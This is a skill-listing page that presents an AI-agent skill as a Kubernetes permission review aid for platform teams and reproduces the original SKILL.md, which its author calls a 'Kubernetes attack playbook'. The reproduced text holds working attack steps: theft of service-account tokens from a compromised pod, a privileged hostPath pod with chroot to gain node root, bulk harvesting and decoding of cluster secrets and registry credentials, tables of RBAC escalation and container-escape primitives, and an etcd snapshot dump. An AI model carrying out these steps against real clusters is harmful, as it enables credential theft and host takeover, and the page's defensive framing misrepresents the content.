k8s-pivot
What it does
This skill covers how permissions inside a Kubernetes cluster could let a container reach more resources. It is for platform teams reviewing cluster role settings.
When to use it
- βWhen an authorized test has access to one pod and needs to see what the cluster allows.
- βWhen you want to review role bindings and privileged pods.
- βWhen a team needs to know which host mounts or dashboards add risk.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you review what a pod's service account can do in our Kubernetes cluster and flag risky permissions?β
5 new skills a week. 1 minute to read.
How it works
The agent lists the permissions the service account holds, checks cluster-wide rights, and flags high-risk verbs and resources.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Kubernetes Pivot
1. Identify the cluster you're in
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
2. Inventory permissions
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Decepticon ingest:
k8s_audit("/tmp/can_cluster.txt")
3. RBAC escalation primitives
| Verb + Resource | What it enables |
|---|---|
create pods |
Create a pod with mount of host root, then RCE on node |
get secrets |
Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens |
Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings |
Bind self to cluster-admin |
impersonate |
Act as any user / SA |
create pods/exec |
Exec into running pod β steal its token |
bind / escalate (on Role/ClusterRole) |
Grant any permission |
create persistentvolumes (cluster-wide) |
hostPath PV β read host fs |
create podsecuritypolicies (old K8s) |
Author own permissive PSP |
create validatingwebhookconfigurations |
Intercept apiserver requests |
create mutatingwebhookconfigurations |
Modify any object on admission |
update nodes/status (rare) |
Spoof node taints, evict pods |
4. Pod escape β host root via hostPath
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true # see all host PIDs
hostNetwork: true # bypass network policies
containers:
- name: shell
image: alpine
command: ["sh", "-c", "sleep 1d"]
securityContext:
privileged: true # CAP_*, no user-namespace remap, no AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node
5. Secrets harvest
# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json
# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
"\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
/tmp/secrets.json > /tmp/sa-tokens.txt
# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d' /tmp/secrets.json
6. Container runtime escapes (when you have privileged pod or specific caps)
| Primitive | Technique |
|---|---|
/var/run/docker.sock mounted in pod |
docker exec on host containers β host root |
/run/containerd/containerd.sock |
ctr cmd β escape |
CAP_SYS_ADMIN w/o user namespace |
Mount syscall β reread cgroups β release_agent |
CAP_SYS_PTRACE |
Inject into host PID 1 (only if hostPID:true) |
CAP_DAC_READ_SEARCH |
Open arbitrary file by inode (CVE-2022-0185 era) |
| Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container |
7. Pivoting from the API server
With cluster-admin token:
# List all nodes
$KUBECTL get nodes -o wide
# Each node has an internal IP β once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)
# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
etcdctl snapshot save /tmp/etcd.db --cacert=/et
FAQ
Which permissions are riskiest?
The skill names rights to create pods, read secrets and change role bindings as high-impact.
Does a privileged pod mean the host is compromised?
Not automatically. The skill says such settings are context, and admission controls may block the path.
Who should use this?
Platform and cluster administrators reviewing their role-based access settings.
Details
Original description by the author
Kubernetes attack playbook β service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13999
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.